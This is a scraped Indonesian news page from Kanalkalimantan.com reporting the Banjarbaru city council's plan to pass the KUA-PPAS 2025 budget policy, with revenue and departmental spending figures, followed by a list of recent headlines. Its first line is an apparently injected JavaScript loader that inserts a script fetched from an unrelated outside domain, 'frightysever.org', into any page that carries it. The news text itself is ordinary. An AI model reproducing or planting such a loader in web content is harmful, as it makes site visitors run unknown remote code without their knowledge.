(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Target Pembahasan KUA-PPAS 2025 Selesai Sebelum Masa Jabatan Berakhir


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru akan menggenjot pembahasan rancangan Kebijakan Umum Anggaran (KUA) dan Prioritas Plafon Anggaran Sementara (PPAS) tahun 2025.

Ketua DPRD Banjarbaru, Fadliansyah Akbar mengatakan, dalam perencanaan Anggaran Pendapatan Belanja Daerah (APBD) Kota Banjarbaru diasumsikan sebesar Rp320 miliar untuk Pendapatan Asli Daerah (PAD) dan lebih Rp1 triliun untuk belanja modal.

“Dengan adanya KUA-PPAS ini saya harapkan program-program pemerintah kota yang belum terselesaikan bisa dilanjutkan di tahun 2025,” ujar Fadliansyah Akbar usai rapat paripurna di gedung DPRD Kota Banjarbaru, Senin (15/7/2024) siang.

Sejumlah program prioritas tahun 2025 di antaranya seperti mitigasi banjir dan penanganan stunting.

Baca juga: Operasi Patuh Intan 2024, Polres HSU: Kamseltibcarlantas Salah Satu Fokus Utama

Melalui pembahasan nanti, kata Fadly, akan diketahui kesepakatan perolehan anggaran dari masing-masing Satuan Kerja Perangkat Daerah (SKPD) Kota Banjarbaru.

“Untuk secepatnya kita lakukan paripurna, target pembahasan sebelum habis masa jabatan bisa disahkan sebagai Perda KUA-PPAS tahun 2025,” ungkap dia.

Fadli menyebutkan sementara, susunan tiga SKPD yang memerlukan anggaran paling banyak yakni Dinas PUPR sekitar 40 persen atau sekitar Rp400 miliar.

Ketua DPRD Kota Banjarbaru Fadliansyah Akbar. Foto : wanda

Baca juga: Babah Divonis 2,5 Tahun Penjara, Cuci Uang Narkoba Jaringan Fredy Pratama

Disusul Dinas Pendidikan sekitar 20 persen, serta Dinas Kesehatan yang memiliki keperluan anggaran hampir 10 persen.

“Kita lihat lagi kalau memang prioritasnya kurang berpihak ke masyarakat, DPRD akan mencoret anggarannya untuk dialihkan ke SKPD yang lebih dibutuhkan untuk pelayanan masyarakat,” jelasnya.

Dirinya berharap KUA-PPAS 2025 akan dapat melebihi dari target, tujuannya menopang segala kegiatan belanja daerah.

“KUA-PPAS ini paling utama pembahasannya adalah terkait PAD, karena di situ kita merancang APBD,” tuntas Fadliansyah. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.